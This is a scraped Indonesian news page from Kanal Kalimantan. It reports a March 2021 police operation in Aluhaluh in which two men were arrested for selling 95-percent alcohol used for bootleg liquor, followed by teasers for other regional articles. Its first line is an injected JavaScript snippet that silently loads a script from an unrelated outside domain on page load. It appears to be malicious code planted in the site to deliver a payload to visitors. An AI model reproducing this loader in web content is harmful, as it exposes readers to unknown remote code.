(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tekan penyalahgunaan alkohol menjadi miras (minuman keras) oplosan, personil Polsek Aluhaluh mengamankan dua orang laki-laki penjual alkohol, dalam giat Operasi Pekat, Selasa (9/3/2021) siang.
Dua orang laki-laki tersebut merupakan warga Desa Aluhaluh Besar, yakni AN (46) dan WN alias YT (50). Ada 58 botol alkohol 95 persen isi 100 mililiter yang berhasil diamankan.
Baca juga: Jatam Pertanyakan Gugatan Keterbukaan Informasi Perpanjangan 5 Perusahaan Tambang
“48 botol alkohol cap Gajah isi 100 mililiter 95 persen didapat di tempat saudara AN, sedangkan 10 botol alkohol 95 persen lainnya dari saudara WN alias YT,” kata Kapolsek Aluhaluh, Iptu Simon Jumadi, Rabu (10/3/2021). Kedua pelaku diamankan ke Polsek Aluhaluh untuk dilakukan proses lebih lanjut. (kanalkalimantan.com/wahyu)
Reporter : wahyu
Editor : bie
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.